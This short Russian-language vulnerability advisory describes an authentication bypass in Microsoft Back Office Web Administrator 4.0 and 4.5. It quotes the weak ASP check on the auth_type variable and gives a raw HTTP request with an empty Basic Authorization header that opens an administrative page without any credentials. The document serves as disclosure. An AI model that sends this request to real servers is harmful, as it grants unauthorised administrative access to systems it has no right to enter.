Обход идентификации в Microsoft Back Office

Microsoft Back Office содержит ASP cистему Web идентификации. Для доступа к административным страницам, пользователь должен подтвердить подлинность, однако эту систему можно тривиально обойти.

Каждый компонент ASP страниц Back Office Web Administrator содержит проверку подлинности пользователя:

If Request.ServerVariables("auth_type") = "" Then
Response.Status = "401 ACCESS DENIED"
Response.End
End If

Эту систему легко обойти:

GET /BOADMIN/BACKOFFICE/SERVICES.ASP HTTP/1.1
Host: hostname
Authorization: Basic
[enter]
[enter]

При этом не требуются никакие опознавательные мандаты, так как технически переменная auth_type установлена, в независимости от того, был ли введен пароль.
 

Уязвимость найдена в Microsoft's Back Office Web Administrator 4.0, 4.5